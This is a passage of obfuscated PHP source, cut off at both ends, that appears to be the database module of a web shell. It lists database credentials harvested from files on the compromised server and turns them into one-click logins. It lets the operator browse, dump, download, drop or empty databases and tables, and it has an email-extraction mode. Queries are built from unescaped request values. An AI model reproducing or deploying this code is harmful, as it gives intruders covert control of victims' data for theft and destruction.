z9m("2").z7i(z9j(z9s("331"),"13","2").z9j(z9s("332"),"13").z9j(z9s("333"),"13").z9j(z9s("334"),"13").z9j(z9s("335"),"13","3")); $tr=0; foreach($final_arr as $file=>$array){ echo z6g(($tr%2?'0':'1')); $tc=@count($array); $dsoft=''; if($tc==5){ $tc=4; $dsoft=$array[$tc]; } for($i=0;$i<$tc;$i++){ echo z9j($array[$i],"14",($i==0?"2":"")); } echo z9j(z5c(array("act"=>"sql","d","sql_refresh"=>"1","sql_server"=>$array[0],"sql_user"=>$array[1],"sql_pass"=>$array[2],"sql_db"=>$array[3],"sql_port"=>"3306","sql_engine"=>"MySQL"),z8v(z9s("336"),"7").(($dsoft!='')?" (".$dsoft.")":''),1),"14","3"); echo z7u(); $tr++; } } } if($act=='sql'){ $hideconnect=0; $hmsg=''; if(@isset($sql_act)&&$sql_act=="logoff"){ z0u('sql_server'); z0u('sql_user'); z0u('sql_pass'); z0u('sql_port'); z0u('sql_engine'); z0u('sql_session'); z0u('sql_sort'); } $sql_session=0; if(@isset($_SESSION['sql_session'])){ if(!@isset($sql_refresh)||!$sql_refresh){ $sql_server=$_SESSION['sql_server']; $sql_user=$_SESSION['sql_user']; $sql_pass=$_SESSION['sql_pass']; $sql_port=$_SESSION['sql_port']; $sql_engine=$_SESSION['sql_engine']; if(!@isset($sql_sort)) $sql_sort=$_SESSION['sql_sort']; $sql_session=1; } else { z0u('sql_server'); z0u('sql_user'); z0u('sql_pass'); z0u('sql_port'); z0u('sql_engine'); z0u('sql_session'); z0u('sql_sort'); } } if(!@empty($sql_server)&&!@empty($sql_port)&&!@empty($sql_user)&&@isset($sql_pass)&&!@empty($sql_engine)){ if(!@isset($sql_db)) $sql_db=''; $sql=new my_sql(); $sql->db=$sql_engine; $sql->host=$sql_server; $sql->port=$sql_port; $sql->user=$sql_user; $sql->pass=$sql_pass; $sql->base=$sql_db; if($sql->connect()){ $hideconnect=1; if(!@isset($sql_sort)) $sql_sort="0a"; $_SESSION['sql_server']=$sql_server; $_SESSION['sql_user']=$sql_user; $_SESSION['sql_pass']=$sql_pass; $_SESSION['sql_port']=$sql_port; $_SESSION['sql_engine']=$sql_engine; $_SESSION['sql_session']=1; $_SESSION['sql_sort']=$sql_sort; $hideconnect=1; $db_actions=array("select"=>"Select","dump"=>"Dump","drop"=>"Drop"); $table_actions=array("browse"=>"Browse","dump"=>"Dump","drop"=>"Drop","empty"=>"Empty","insert"=>"Insert"); echo z2b(z9m('2').z7i(z6x( z5c(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine"),z8v(z9s("352"),(!@isset($sql_act)||!@in_array($sql_act,array("query","emails","serverstatus","servervars","processes"))?"12":"14"))). z5c(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"query","sql_db"),z8v(z9s("353"),(@isset($sql_act)&&$sql_act=="query"?"12":"14"))). z5c(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"emails","sql_db"),z8v(z9s("354"),(@isset($sql_act)&&$sql_act=="emails"?"12":"14"))). z5c(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"serverstatus"),z8v(z9s("355"),(@isset($sql_act)&&$sql_act=="serverstatus"?"12":"14"))). z5c(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"servervars"),z8v(z9s("356"),(@isset($sql_act)&&$sql_act=="servervars"?"12":"14"))). z5c(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"processes"),z8v(z9s("357"),(@isset($sql_act)&&$sql_act=="processes"?"12":"14"))). z5c(array("act"=>"sql","d","sql_act"=>"logoff"),z8v(z9s("358"),"14")) ,"")).z10w()); if($sql_engine=="MySQL"){ if(!@isset($sql_act)){ if(@isset($sql_db)&&!@empty($sql_db)){ $sql->base=$sql_db; if($sql->select_db()){ $sql_act="db_act"; $db_act="select"; } else { $sql_act="showdb"; $sql_db=""; $sql->base=""; } } else { $sql_act="showdb"; } } $dbs=$sql->list_dbs(); $db_list=array(''=>z9s("367",@count($dbs))); foreach($dbs as $k=>$v) $db_list[$k]=$v; if($sql_act=="db_act"&&@isset($db_act)&&!@empty($sql_db)){ switch($db_act){ case 'dump': $sql_act="dump"; break; case 'drop': if(@isset($drop_confirm)&&$drop_confirm){ $sql->query('DROP DATABASE '.$sql_db.';'); $sql_act="showdb"; $sql_db=""; } else { $sql_act="dropdb"; } break; } } elseif($sql_act=="table_act"&&@isset($table_act)&&!@empty($sel_table)){ switch($table_act){ case 'dump': $sql_act="dump"; break; case 'drop': if(@isset($drop_confirm)&&$drop_confirm){ $sql->base=$sql_db; if($sql->select_db()){ $sql->query('DROP TABLE '.$sel_table.';'); } $sel_table=""; $sql_act="db_act"; $db_act="select"; } else { $sql_act="droptable"; } break; case 'empty': if(@isset($empty_confirm)&&$empty_confirm){ $sql->base=$sql_db; if($sql->select_db()){ $sql->query('DELETE FROM '.$sel_table.';'); } $sql_act="table_act"; $table_act="browse"; } else { $sql_act="empty"; } break; case 'insert': break; case 'delete': $sql->base=$sql_db; if($sql->select_db()){ $sql->query('DELETE FROM '.$sel_table.' WHERE '.$sql_tbl_insert_q.' LIMIT 1;'); } $table_act="browse"; break; } } if(!@in_array($sql_act,array("showdb","query","serverstatus","servervars","processes","emails"))){ $db_submit_acts=$table_submit_acts=''; foreach($db_actions as $dk=>$dv) $db_submit_acts .= z6p($dk,$dv,"7"); foreach($table_actions as $tk=>$tv) $table_submit_acts .= z5c(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act","table_act"=>$tk,"sql_db","sel_table"),z6p($tk,$tv,"7")); $table_submit_acts=z10e(z7i(z9j($table_submit_acts)),"2"); $db_table=z10e(z7i(z6x(z8e(z9s("364")).z5c(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"db_act"),z4a("sql_db",$db_list,"0",1).z4a("db_act",$db_actions,"1").z8v(z9s("92"),"7")))),"2"); if(@isset($sql_db)&&!@empty($sql_db)){ $sql->base=$sql_db; if($sql->select_db()){ $table_list=array(''=>"-"); $sql->query('SHOW TABLES FROM '.$sql_db.';'); if($sql->get_result()){ for($i=0;$i<$sql->num_rows;$i++){ foreach($sql->rows[$i] as $rk=>$rv){ $table_list[$rv]=$rv." (".$sql->count_rows($rv).")"; } } } $table_table=z10e(z7i(z6x(z8e(z9s("365")).z5c(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"table_act","sql_db"),z4a("sel_table",$table_list,"0",1).z4a("table_act",$table_actions,"1").z8v(z9s("92"),"7")))),"2"); } } echo z2b((@isset($table_table)?array($db_table,$table_table):$db_table)); if($sql_act=="dropdb"){ echo z6d(); echo z10e(z7i(z6x(z8e(z9s("437",$sql_db)).z5c(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"db_act","db_act"=>"drop","sql_db","drop_confirm"=>"1"),z8v(z9s("21"),"7")).z9c().z5c($back_form_actions,z8v(z9s("22"),'7')))),"2"); echo z6d(); } elseif($sql_act=="droptable"){ echo z6d(); echo z10e(z7i(z6x(z8e(z9s("438",$sel_table)).z5c(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"table_act","table_act"=>"drop","sql_db","sel_table","drop_confirm"=>"1"),z8v(z9s("21"),"7")).z9c().z5c($back_form_actions,z8v(z9s("22"),'7')))),"2"); echo z6d(); } elseif($sql_act=="empty"){ echo z6d(); echo z10e(z7i(z6x(z8e(z9s("439",$sel_table)).z5c(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"table_act","table_act"=>"empty","sql_db","sel_table","empty_confirm"=>"1"),z8v(z9s("21"),"7")).z9c().z5c($back_form_actions,z8v(z9s("22"),'7')))),"2"); echo z6d(); } elseif($sql_act=="dump"){ if(!@isset($dump_filename)) $dump_filename=$tempdir."dump_".@getenv("SERVER_NAME")."_db_".@date("d-m-Y_H-i-s").".sql"; if(@isset($sql_db)&&!@empty($sql_db)){ $sql->base=$sql_db; if($sql->select_db()){ $table_list=array(); $sql->query('SHOW TABLES FROM '.$sql_db.';'); if($sql->get_result()){ for($i=0;$i<$sql->num_rows;$i++){ foreach($sql->rows[$i] as $rk=>$rv){ $table_list[]=$rv; } } } } } if(!@isset($sql_tables)||@empty($sql_tables)){ if(@isset($sel_table)&&!@empty($sel_table)){ $sql_tables=$sel_table; } else { $sql_tables=(@count($table_list)>0?@implode(",",$table_list):""); } } elseif(@isset($table_list)&&@is_array($table_list)) { $tmp_tables=@explode(",",$sql_tables); $sql_tables=""; foreach($tmp_tables as $tmp_table){ $tmp_table=@trim($tmp_table); if(@in_array($tmp_table,$table_list)){ $sql_tables.=$tmp_table.","; } else { break; } } if(@empty($sql_tables)) $sql_tables=@implode(",",$table_list); } echo z2b(z9s("440")); echo z9m("2").z5c(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"dump","dump_confirm"=>"1"), z5n(). z7i(z5t(z9s("441")).z9j(z4a("sql_db",$db_list,"7",1))). z7i(z5t(z9s("442")).z9j(z5w("sql_tables","5").(@isset($sql_tables)?@htmlspecialchars($sql_tables):"").z5q())). z7i(z5t(z9s("443")).z9j(z5u("dump_filename",$dump_filename,"7"))). z7i(z5t(z9c()).z9j(z5y("sql_save2file",z9s("444"),"sql_save2file").z9c().z5y("sql_download",z9s("445"),"sql_download"))). z7i(z5t(z9c()).z9j(z8v(z9s("446"),"7"))). z5n()). z10w(); if(@isset($dump_confirm)&&$dump_confirm){ $fp=0; if(@isset($sql_save2file)&&$sql_save2file=="1"&&@isset($dump_filename)&&!@empty($dump_filename)){ if(z4q($dump_filename)) @unlink($dump_filename); $fp=@fopen($dump_filename,"a"); } $dumping_arr=array(); $tmp_tables=@explode(",",$sql_tables); foreach($tmp_tables as $tmp_table){ $tmp_table=@trim($tmp_table); $dumping_arr[]=$tmp_table; } $dumping_arr=@array_unique($dumping_arr); $sql->base=$sql_db; if(!$sql->select_db()){ echo z2b(z9s("447")); }elseif(@count($dumping_arr)<1){ echo z2b(z9s("448")); }else{ if(@isset($sql_download)&&$sql_download=="1"){ @ob_clean(); @header("Content-type: application/octet-stream"); @header("Content-disposition: attachment; filename=\"".@basename($dump_filename)."\";"); foreach($dumping_arr as $dump_table){ if($sql->dump($dump_table)){ foreach($sql->dump as $v) echo $v."\r\n"; } } exit(); } if(!@isset($sql_save2file)||$sql_save2file!="1"){ echo z9m('2').z6g().z6w().z5w('','1'); foreach($dumping_arr as $dump_table){ if($sql->dump($dump_table)){ foreach($sql->dump as $v) echo @htmlspecialchars($v)."\r\n"; } } echo z5q().z7g().z7u().z10w().z6d(); }elseif($fp){ foreach($dumping_arr as $dump_table){ if($sql->dump($dump_table)){ foreach($sql->dump as $v){ if(!@fwrite($fp,$v."\r\n")){ @fputs($fp,$v."\r\n"); } } } } @fclose($fp); if(z4q($dump_filename)){ echo z2b(z9s("449",$dump_filename)); }else{ echo z2b(z9s("450")); } }else{ echo z2b(z9s("450")); } } } } if($sql_act=="table_act"&&@isset($table_act)&&($table_act=="browse"||$table_act=="insert")&&@isset($sel_table)&&!@empty($sel_table)){ $crows=$sql->count_rows($sel_table); $sql->parse_fields($sel_table); $cfields=$sql->num_fields; $fields=$sql->columns; if($table_act=="insert"){ if(@isset($sql_tbl_insert_radio)&&!@empty($sql_tbl_insert_radio)){ if($sql_tbl_insert_radio==1){ $keys=""; $akeys=@array_keys($sql_tbl_insert); foreach($akeys as $v){ $keys.="`".@addslashes($v)."`, "; } if(!@empty($keys)){ $keys=@substr($keys,0,@strlen($keys)-2); } $values=""; $i=0; foreach(@array_values($sql_tbl_insert) as $v){ if($funct=$sql_tbl_insert_functs[$akeys[$i]]){ $values.=$funct." ("; } $values.="'".@addslashes($v)."'"; if($funct){ $values.=")"; } $values.=", "; $i++; } if(!@empty($values)){ $values=@substr($values,0,@strlen($values)-2); } $sql->query("INSERT INTO `".$sel_table."` ( ".$keys." ) VALUES ( ".$values." );"); }elseif($sql_tbl_insert_radio==2){ $set=z1r($sql_tbl_insert,", ",$sql_tbl_insert_functs); $sql->query("UPDATE `".$sel_table."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"); } $table_act="browse"; }else{ echo z2b(array("INSERT INTO TABLE ".$sel_table),"1"); if(!@isset($sql_tbl_insert)||!@is_array($sql_tbl_insert)){ $sql_tbl_insert=array(); } if(!@empty($sql_tbl_insert_q)){ $sql->query("SELECT * FROM `".$sel_table."` WHERE ".$sql_tbl_insert_q." LIMIT 1;"); $values=@mysql_fetch_assoc($sql->res); @mysql_free_result($sql->res); }else{ $values=array(); } echo z9l().z9b("act","sql").z9b("sql_server").z9b("sql_user").z9b("sql_pass").z9b("sql_port").z9b("sql_engine").z9b("d").z9b("sql_act","table_act").z9b("table_act","insert").z9b("sel_table").z9b("sql_db").z9b("sql_tbl_insert_q").z9m("2").z7i(z9j("Field","13","2").z9j("Type","13").z9j("Function","13").z9j("Value","13","3")); $sql->query("SHOW FIELDS FROM `".$sel_table."`;"); $sql->get_result(); for($i=0; $i < $sql->num_rows; $i++){ $field=$sql->rows[$i]; $name=$field["Field"]; if(empty($sql_tbl_insert_q)){ $v=""; } echo z9f(z9j(z8e(@htmlspecialchars($name)),"14","2").z9j($field["Type"],"14").z9j(z4a("sql_tbl_insert_functs[".@htmlspecialchars($name)."]",array( ""=>"", "PASSWORD"=>"PASSWORD", "MD5"=>"MD5", "ENCRYPT"=>"ENCRYPT", "ASCII"=>"ASCII", "CHAR"=>"CHAR", "RAND"=>"RAND", "LAST_INSERT_ID"=>"LAST_INSERT_ID", "COUNT"=>"COUNT", "AVG"=>"AVG", "SUM"=>"SUM", " "=>"--------", "SOUNDEX"=>"SOUNDEX", "LCASE"=>"LCASE", "UCASE"=>"UCASE", "NOW"=>"NOW", "CURDATE"=>"CURDATE", "CURTIME"=>"CURTIME", "FROM_DAYS"=>"FROM_DAYS", "FROM_UNIXTIME"=>"FROM_UNIXTIME", "PERIOD_ADD"=>"PERIOD_ADD", "PERIOD_DIFF"=>"PERIOD_DIFF", "TO_DAYS"=>"TO_DAYS", "UNIX_TIMESTAMP"=>"UNIX_TIMESTAMP", "USER"=>"USER", "WEEKDAY"=>"WEEKDAY", "CONCAT"=>"CONCAT"),"5"),"14").z9j(z6i("sql_tbl_insert[".(@isset($name)?@htmlspecialchars($name):"")."]",(@isset($values["$name"])?@htmlspecialchars($values["$name"]):""),"7"),"14","3"),($i%2?'0':'1')); } echo z10w(); $iradio=''; if(!@empty($sql_tbl_insert_q)){ $iradio .= z9c().z9s("406").z9c().''; $iradio .= z9b("sql_tbl_insert_q",@htmlspecialchars($sql_tbl_insert_q)); } echo z2b($iradio.z9c("3").z8v(z9s("408"),"7")); echo z9z(); } } if($table_act=="browse"){ if(!@isset($sql_from)||!@is_numeric($sql_from)) $sql_from=0; if(!@isset($sql_limit)||!@is_numeric($sql_limit)) $sql_limit=50; if(!@isset($sql_page)||!@is_numeric($sql_page)) $sql_page=0; $psql_sort=z5r($sql_sort); if($psql_sort[1]!='a'){ $psql_sort[1]='d'; } else { $psql_sort[1]='a'; } if($psql_sort[0]>($cfields-1)) $psql_sort[0]='0'; $v=$psql_sort[0]; if($crows>$sql_limit){ $pages=@ceil($crows/$sql_limit); $tmpsort=""; if(@is_array($fields)&&@isset($fields[$psql_sort[0]])){ $tmpsort=' ORDER BY `'.$fields[$psql_sort[0]].'` '.($psql_sort[1]=="a"?'ASC':'DESC'); } $table_limit=$tmpsort.' LIMIT '.($sql_limit*$sql_page).','.$sql_limit; } else { $table_limit=''; $pages=0; } $ar_pages=array(); for($i=0; $i<$pages; $i++){ $ar_pages[$i]=z9s("397")." ".($i+1); } if(@count($ar_pages)<1) $ar_pages=array("0"=>z9s("397")." 1"); echo z2b(array(z9s("395",array($sel_table,$cfields,$crows)),z10e(z9f(z7e(($sql_page>0 ? z5c(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act","table_act","sql_db","sel_table","sql_page"=>($sql_page=="1"?"NULL":($sql_page-1))),z8v(z9s("396"),"7")) : z8v(z9s("396"),"7")). z5c(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act","table_act","sql_db","sel_table"),z4a("sql_page",$ar_pages,"1",1).z8v(z9s("398"),"7")). ($sql_page<($pages-1) ? z5c(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act","table_act","sql_db","sel_table","sql_page"=>($sql_page+1)),z8v(z9s("399"),"7")) : z8v(z9s("399"),"7")))),"2")),"1"); $sql->query('SELECT * FROM '.$sel_table.$table_limit.';'); if($sql->get_result()){ echo z9m('2').z7p().z7k().z5x('',"0").z9m("2").z7p().z7k(); echo z9m('2'); echo z6g(); for($i=0;$i<@count($sql->columns);$i++){ echo ($i==0?z9j(z9s("62"),"13","2"):"").z9j(z5c(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act","table_act","sql_db","sel_table","sql_page","sql_sort"=>($psql_sort[0]=="$i"?"$i".($psql_sort[1]=="a"?"d":"a"):"$i".$psql_sort[1])),z8v($sql->columns[$i].($psql_sort[0]=="$i"?' '.($psql_sort[1]=="a"?'↑':'↓'):''),'3')),"13",($i==(@count($sql->columns)-1)?'3':'')); } echo z7u(); $print_arr=array(); for($i=0;$i<$sql->num_rows;$i++){ if(@is_array($sql->rows[$i])){ $tmparr=array(); foreach($sql->rows[$i] as $rk=>$rv){ $tmparr[]=$rv; } $print_arr[]=$tmparr; } } @usort($print_arr,"z3i"); if($psql_sort[1]=="d"){ $print_arr=@array_reverse($print_arr); } for($i=0;$i<@count($print_arr);$i++){ echo z6g(($i%2?'0':'1')); $cr=0; foreach($print_arr[$i] as $rv){ $w=""; for($a=0;$a<$sql->num_fields;$a++){ $w.=" `".$sql->columns[$a]."` = '".@addslashes($print_arr[$i][$a])."' AND"; } if($a>0) $w=@substr($w,0,@strlen($w)-3); echo ($cr==0?z9j("